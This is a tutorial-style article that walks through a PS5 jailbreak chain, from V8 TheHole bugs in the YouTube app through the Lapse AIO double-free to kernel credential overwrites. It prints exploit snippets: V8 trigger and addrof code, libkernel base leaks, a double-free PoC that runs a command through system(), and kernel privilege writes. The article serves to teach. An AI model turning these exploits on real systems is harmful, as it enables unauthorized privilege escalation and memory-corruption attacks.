Table of Contents

Introduction

Have you ever felt that a system was too limited considering the hardware it runs on ? This frustration has led many people to investigate through the devices they own. This process is commonly referred to as a Jailbreak, like an access to freedom.

Modern operating systems enforce separation between user applications and the kernel. These applications execute their code in their own sandboxed environment meaning that they cannot directly access hardware or modify the operating system. These operations are reserved for the kernel which has the highest privileges on the system.

Executing code inside the browser or an application is only the first step. To fully jailbreak the console, we must escape from this sandbox and gain kernel privileges through another vulnerability.

In this article, we will follow the privilege escalation path from a userland WebKit exploit to kernel code execution through the Lapse AIO vulnerability.

We first explore how arbitrary code execution is achieved in userland.

Prerequisites

This article is aimed for students, engineers with a basic understanding of operating systems and security concepts. To fully benefit from this article, it’s recommended to be familiar with the following concepts:

  • JavaScript understanding
  • Following C Language concepts :
    • I/O operations
    • Double Free
    • Threads

Precisely, you know what is a Promise in JavaScript additionally to the understanding of the language syntax. In C, you know how to use malloc and free functions, what is a double free and what is a thread and how it works. Additionally, you can have a basic understanding of the Return Oriented Programming (ROP) technique which is not well explained in this article.

Userland to Kernel

When looking at the PS5 home screen, we can ask ourselves how can we even run code here. To allow code execution, we need to an entry point into one of the console’s applications.

In the console, the YouTube application is present by default and can be a great entry point to run our code. The fact is when you are in an old firmware version, it is not very convenient to install a new application (can be done with some USB restoration). Moreover, this application uses the V8 JavaScript engine through the app allowing us to run JavaScript code as explained bellow.

The Y2JB (YouTube to Jailbreak) is one implementation of the complete exploit chain where we can follow the path to understand how the exploit works.

The Entry Point: Running our code

It has been found that the application cache integrity is not properly checked allowing cached files to be modified. By modifying the splash.html file, we can create a <script> tag to load our own JavaScript code, that represents our first entry point. But that is not sufficient as executing code through the JavaScript engine of the application is very limited, native code execution within the process is still required.

TheHole

Achieving native code execution first requires escaping ourselves from this JavaScript sandbox. This is achieved by exploiting an incoherent state of the V8 JavaScript engine. The great article from Starlabs provides a snippet implementation around the CVE-2021-38003. It exploits an issue in the JSON.stringify function with a large string that is repeated multiple times in an array. This code shows how we can trigger a TheHole value by using this vulnerability (explication of it just after !):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
// trigger vuln to return a TheHole value
function trigger() {
    let a = [], b = [];
    let s = '"'.repeat(0x800000);
    a[20000] = s;
    for (let i = 0; i < 10; i++) a[i] = s;
    for (let i = 0; i < 10; i++) b[i] = a;

    try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }
    throw new Error('could not trigger');
}

let hole = trigger();

The trigger function returns a TheHole object that is a sentinel value used by the V8 engine to represent a hole in an array, for example. When we see an undefined value in JavaScript, it is actually a TheHole value in the engine. The point here is that this TheHole value is not supposed to be leaked outside the engine but the vulnerability allows us to do so.

Y2JB uses a combination of CVE-2021-38003 and CVE-2022-4174 where the main difference is that the trigger function relies on a vulnerability in the Promise.any function which is faster than the previously seen one. Here is the trigger function that is used in Y2JB:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
function trigger() {
    let v1;
    function f0(v4) {
        v4(() => { }, v5 => {
            v1 = v5.errors;
        });
    }
    f0.resolve = function (v6) {
        return v6;
    };
    let v3 = {
        then(v7, v8) {
            v8();
        }
    };
    Promise.any.call(f0, [v3]);
    return v1[1];
}

// ...

let hole = trigger();

By injecting the leaked TheHole value into a Map, it violates the engine invariant and corrupts the Map metadata, causing its size to become -1 :

1
2
3
4
5
6
7
8
// Create a map and make its size become -1
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
// Now map.size = -1

It can be explained as follow :

  1. Set (1, 1) and (hole, 1) in the map. Now element count = 2, bucket count = 2.
  2. Delete (hole, 1). Now element count = 1, bucket count = 2.
  3. Delete (hole, 1) again. Now element count = 0, bucket count = 2. Since element count < bucket count / 2, it will shrink the map and remove the hole values.
  4. Now there’s no hole value in the map, so we can’t delete (hole, 1) anymore. However, there’s still (1, 1) in the map, so we delete that entry. This will decrease element count by 1, making element count ( = map.size ) equals -1.

Note that we can delete the hole value multiple times because in the delete implementation of the V8 engine, when it finds the entry to delete it will set the entry to TheHole value. By having access to this value, we can corrupt the map’s size.

OOB read/write and primitives

The next steps involve creating an OOB (Out-Of-Bounds) read/write by manipulating the structure of the Map. This will allow us to construct primitives to modify the native memory of the process itself.

In the following code snippet, we construct the addrof primitive, which allows us to get the address of an object in memory. As we are not diving to explain how we perform to retrieve this primitive here, you can refer again to the Starlabs article for more details where they demonstrate how to execute a shell command in a vulnerable chrome version with some few primitives.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ob_arr = [1.1, 1.1, 1.1, 1.1]; // oob array. This array's size will be overwritten by map, thus can do OOB read/write
victim_arr = [2.2, 2.2, 2.2, 2.2]; // victim array. This array lies within oob array, thus its member can be controlled by oob array
obj_arr = [{}, {}, {}, {}]; // object array. Used for storing object. This array lies within oob array, thus its member can be controlled by oob array

// OOB write in map, overwrite oob_arr's size to 0x111
map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, overwrite oob_arr's length into 0x111

data = ftoi(oob_arr[12]); // victim_arr's element and size
ori_victim_arr_elem = data & 0xffffffffn; // get original victim_arr's element pointer
/*
 * addrof primitive
 * Modify the element pointer of victim_arr ( oob_arr[12] ) & obj_arr ( oob_arr[31] ), make them point to same memory
 * Then put object in obj_arr[0] and read its address with victim_arr[0]
 *
 * @param {object} o Target object
 * @return {BigInt} address of the target object
 * */
function addrof(o) {
    oob_arr[12] = itof((0x8n << 32n) | ori_victim_arr_elem); // set victim_arr's element pointer & size
    oob_arr[31] = itof((0x8n << 32n) | ori_victim_arr_elem); // set obj_arr's element pointer & size
    obj_arr[0] = o;
    return ftoi(victim_arr[0]) & 0xffffffffn;
}

Libkernel and ROP

Now that those primitives provide us a complete visibility over the process’s address space, we need to locate the PS5’s libkernel library. You can think of libkernel as the PS5’s equivalent of the libc library on Linux as it is the userland library that wraps system calls. Locating libkernel is therefore mandatory for the next step, since every kernel interaction from the userland has to go through this layer. Gaining the possibility to call those syscalls are mandatory to perform it.

To get the address of the libkernel, we must be careful about the Address Space Layout Randomization (ASLR) that prevent us to hardcode this address after finding it by reverse engineering the PS5 firmware. Thus, we know the offset of each syscall based on the library base address depending of the YouTube application version linked to the firmware version.

By using leaked pointers, we can determine the base address of shared libraries like as follow :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
else if (cbn === "18441022") { // Version checking
            Y2_VERSION = "01.000.030 (min fw 12.20)";
            await log("Youtube " + Y2_VERSION + " detected");
            // Setting hardcoded values
            Y2_OFFSET = Y2_OFFSET_1220;
            ROP = ROP_1220;

            libcobalt_base = read64(stack_addr + 0x8n) - Y2_OFFSET.LIBCOBALT_LEAK; // LibCobalt base address calculation depending of an hardcoded leaked offset
            await log("libcobalt_base @ " + toHex(libcobalt_base));
            
            libstarboard_base = read64(libcobalt_base + Y2_OFFSET.LIBSTARBOARD_LEAK1) - Y2_OFFSET.LIBSTARBOARD_LEAK2; // LibStarboard base address calculation
            await log("libstarboard_base @ " + toHex(libstarboard_base));
            
            libc_base = read64(libstarboard_base + Y2_OFFSET.LIBC_LEAK1) - Y2_OFFSET.LIBC_LEAK2; // LibC base address calculation
            await log("libc_base @ " + toHex(libc_base));
}

The last step that will allow us to call those syscalls is to build a Return Oriented Programming (ROP) chain. This technique chains together assembly instructions that already exists in the memory to perform arbitrary operations without injecting code.

Userland Exploit Chain Schematic

The end of the userland exploit chain is expressed by the Remote JS Loader, which allows us to load our own JavaScript code in the current context from a remote server by this line : await load_localscript('remotejsloader.js');

We can mention the fork of the Y2JB project like Y2JB autoloader which runs automatically the kernel Lapse exploit or other ones if there is for the detected firmware. Those forks can also provide many features.

Here is a schematic representation of the userland exploit chain:

Userland Exploit Chain

As explained before, the code execution through userland is not sufficient to jailbreak the console as we must gain kernel privileges. The understanding of the vulnerability that we are going to explain requires a basic understanding of the AIO subsystem.

Gaining Kernel Privileges

The AIO subsystem

Today’s operating systems constantly perform I/O operations, whether reading a file, writing to disk, etc. Those operations are blocking the calling thread until completion which have a significant impact on performance.

The AIO (Asynchronous input/output) subsystem is a solution that the PS5 kernel implements allowing a process to submit one or more requests to the kernel. This asynchronous behavior allows the application to continue its execution without waiting for the I/O operation to complete.

But why do we need to understand the AIO subsystem to perform the kernel exploit ? Because the exploit that has been found is located in the aio_multi_delete function. This function is used to delete multiple requests as one operation.

This function allows us to dive in the heart of the exploit with the vulnerability that it contains. Here is a summary of the bug from the PS5 Dev Wiki:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void free_queue_entry(struct aio_entry *reqs2) {
    if (reqs2->ar2_spinfo != NULL) {
        printf("[0]%s() line=%d Warning !! split info is here\n", __func__, __LINE__);
    }
    if (reqs2->ar2_file != NULL) {
        // We can potentially delay .fo_close().
        fdrop(reqs2->ar2_file, curthread);
        reqs2->ar2_file = NULL;
    }
    free(reqs2, M_AIO_REQS2);
}

int _aio_multi_delete(struct thread *td, SceKernelAioSubmitId ids[], u_int num_ids, int sce_errors[]) {
    // ...
    struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry);
    // ...
    u_int rem_ids = obj->ao_rem_ids;
    if (rem_ids != 1) {
        // BUG: wlock not acquired on this path
        obj->ao_rem_ids = --rem_ids;
        // ...
        free_queue_entry(obj->ao_entries[req_idx]);
        // The race can crash because of a NULL dereference since this path
        // does not check if the array slot is NULL so we delay free_queue_entry().
        obj->ao_entries[req_idx] = NULL;
    } else {
        // ...
    }
    // ...
}

Have you seen it ? As the commentary explains, no lock is acquired when rem_ids != 1, meaning that every write operation on the obj structure is not protected against concurrent access from other threads. The id_rlock function is used to acquire a read lock but the missed write protection allows two concurrents threads to free the same ao_entries[req_idx].

Race Condition

For a better understanding of the race condition, we can imagine two threads running concurrently as follow :

Thread 1 Thread 2
id_rlock(): read lock acquired -
- id_rlock(): read lock acquired
rem_ids = obj->ao_rem_ids = 3 -
- rem_ids = obj->ao_rem_ids = 3 (same value)
obj->ao_rem_ids = --rem_ids; (=2)
free_queue_entry(); –> FIRST FREE
obj->ao_entries[req_idx] = NULL;
-
- obj->ao_rem_ids = --rem_ids;
free_queue_entry(); –> SECOND FREE

If you have already done some C programming with malloc and free, you may have already core dumped your program by freeing the same pointer twice.

Let’s see why this AIO vulnerability is not doing the same thing.

Understanding Double Free Vulnerability

This proof of concept (PoC) that you can find on this public GitHub repository is a great example to understand the double free vulnerability and how it can be exploited.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main() {
    char* a = malloc(50);
    char* b = malloc(50);

    puts("Initial pointer addresses:");
    printf("a :: %p\n", a);
    printf("b :: %p\n", b);
    puts("");

    free(a);

    //Circumvent double free detection by the allocator
    free(b);
    strncpy(a, "text", 50);

    free(a);

    char* command = malloc(50);
    char* some_pointer = malloc(50);
    char* username = malloc(50);

    puts("New pointer addresses:");
    printf("command  :: %p\n", command);
    printf("username :: %p\n", username);
    puts("===============\n"
         "From here on, the application would run the same way\n"
         "as it might look for a normal user\n"
         "===============\n");

    strncpy(command, "date", 50);

    printf("Enter your username: ");
    scanf("%512[^\n]", username);

    printf("\nHello %s, this is the current date: 2026-09-25T09:44:32\n", username);
    system(command);

    free(command); //Freeing 'username' would lead to yet another double free.
    free(some_pointer);

    return 0;
}

By compiling and running the code we obtain the following output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
$ gcc poc.c
$ ./a.out
Initial pointer addresses:
a :: 0x63ad90fe32a0
b :: 0x63ad90fe32e0

New pointer addresses:
command  :: 0x63ad90fe32a0
username :: 0x63ad90fe32a0
===============
From here on, the application would run the same way
as it might look for a normal user
===============

Enter your username: echo hello

Hello echo hello, this is the current date: 2026-09-25T09:44:32
hello

This example shows that by understanding how the allocation and deallocation of memory works, we can control the content of the memory that has been freed and allocated again. Here we are overwriting the command variable with the content of the username variable, which will be executed by the program.

Explanations:

When a chunk of memory is freed, it is added to a free stack to keep track of available memory which is later used to quickly find memory chunks that can be allocated for other values. So here is the states of this stack after each main operation:

free(a)

Head -> a -> Tail

free(b)

Head -> b -> a -> Tail

strncpy(a, "text", 50)

This operation does not modify the free stack but corrupts the metadata of the a chunk to allow us to free it again.

free(a)

Head -> a -> b -> a -> Tail

Now that we have this stack arrangement, we know that that every allocation will return the first chunk of memory available in the stack.

char* command = malloc(50)

Head -> b -> a -> Tail

char* some_pointer = malloc(50)

This crucial and unused variable helps us to pop the b chunk from the stack.

Head -> a -> Tail

char* username = malloc(50)

Head -> Tail

This manipulation leads to an equality of pointer addresses between command and username. Here we call username an aliased pointer because it points to the same memory location as command.

In the case of Lapse, the double free is of course more complex than this simple POC but the ideas are similar as the vulnerability allows us to free the same memory twice and then allocate it again to control the content of this memory.

Steps to Kernel R/W

The work after finding and understanding this main vulnerability requires some non-trivial steps to finally allow us to perform kernel read/write. To stay concise, we will not dive into the details of each step but the entire Lapse exploit is a ~1850 lines of code that you can find here : Y2JB lapse.js

As a summary, the code expresses the following 5 stages :

  • Stage 1: Double Free

By using the previously explained aio_multi_delete double free vulnerability, it leaves a dangling kernel heap chunk which is used by some sockets options producing an aliased pair of sockets.

  • Stage 2: Kernel address leak

The aliased sockets are used to confuse the kernel by treating the chunk as an event flag object and revealing raw kernel pointers by reading through them.

  • Stage 3: Double Free on SceKernelAioRWRequest

A second double free is performed with aio_multi_delete where the dangling chunk lands inside an IPV6 structure. This will create a new aliased socket pair at a known kernel address.

  • Stage 4: Arbitrary kernel R/W

This second aliased socket pair is exploited through specific socket options to read and write at any kernel address giving us a full arbitrary kernel read/write primitive.

  • Stage 5: Final one, PS5 Jailbreak

On this last one, we can clearly see that we are writing in the kernel space to give us permissions. The following Y2JB code shows that we are writing our root access, maximal Sony’s rights, etc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
async function ps5_jailbreak() {

            // ...             

            function get_rootvnode() {
                const p = pfind(KERNEL_PID);
                const p_fd = kernel.read_qword(p + kernel_offset.PROC_FD);
                return kernel.read_qword(p_fd + ROOTVNODE_OFFSET);
            }

            // ...             

            // escalate sony privs
            kernel.write_qword(ucred + OFFSET_UCRED_CR_SCEAUTHID, SYSCORE_AUTHID); // cr_sceAuthID

            // enable all app capabilities
            kernel.write_qword(ucred + OFFSET_UCRED_CR_SCECAPS, 0xffffffffffffffffn); // cr_sceCaps[0]
            kernel.write_qword(ucred + OFFSET_UCRED_CR_SCECAPS + 8n, 0xffffffffffffffffn); // cr_sceCaps[1]

            // set app attributes
            kernel.write_byte(ucred + OFFSET_UCRED_CR_SCEATTRS, 0x80n); // SceAttrs
 
            // Allow root file system access.
            const rootvnode = get_rootvnode();        
            const p_fd = kernel.read_qword(p + 0x48n);
            
            kernel.write_qword(p_fd + 0x08n, rootvnode);  // fd_cdir
            kernel.write_qword(p_fd + 0x10n, rootvnode);  // fd_rdir
            kernel.write_qword(p_fd + 0x18n, 0n);         // fd_jdir
            
           // ... 
        }

Recap: The Complete Exploit Chain

After diving into the entire path from userland to kernel, we can locate the different steps that are performed, from the entry point with the YouTube cache and the splash.html file to the final kernel R/W by using two main vulnerabilities, the V8 Promise.any to leak a TheHole value and the aio_multi_delete double free vulnerability.

Here is a schematic representation:

Complete Exploit Chain

Conclusion

This escalation privilege that we just saw is one of the exploit/issue that has been found. It is part of the PlayStation HackerOne Bug Bounty program where hackers can report vulnerabilities and exploits to Sony. This program allows Sony to fix those issues and reward hackers for their work. Once the vulnerability is reported, Sony releases a new firmware version to fix it and avoid huge losses by forcing users to update their consoles.

Indeed, every user that wants to use this kind of exploit must be on a firmware version that is vulnerable to it meaning having an old console or waiting for a new exploit to be found making the console almost useless until it is found. Note that the path that we have followed is working up to the firmware version 10.01 as the aio_multi_delete vulnerability has been fixed in the next firmware version 10.20. Moreover, when having kernel privileges, we can run any legally obtained application, having root access to the file system and many more but can’t run Linux for example as we need the hypervisor privileges. You can look at the PS5 exploits states (06/30/2026) to see what is available for every firmware version.

About the legal status of jailbreaking: it is legal in France to modify a console that you own but it is illegal in the US for example. Policy around it is very different depending on the country and the laws that are applied.

We can add that this Jailbreak voids the warranty of the console, that you have not access to any PlayStation Network services or features and that some bad manipulations can lead to a bricked console. The risk to be banned from the PlayStation Network is also present although not big because of restrictions about online features.

At the end, this one on many others exploit chain is an interesting and great example to learn about privilege escalation and some specific vulnerabilities that can be found in modern operating systems. You can have a look at the list of vulnerabilities at PS5 Dev Wiki - Vulnerabilities. We can see it as a good way to learn by having fun manipulating a console as our own wish.

Webography and further reading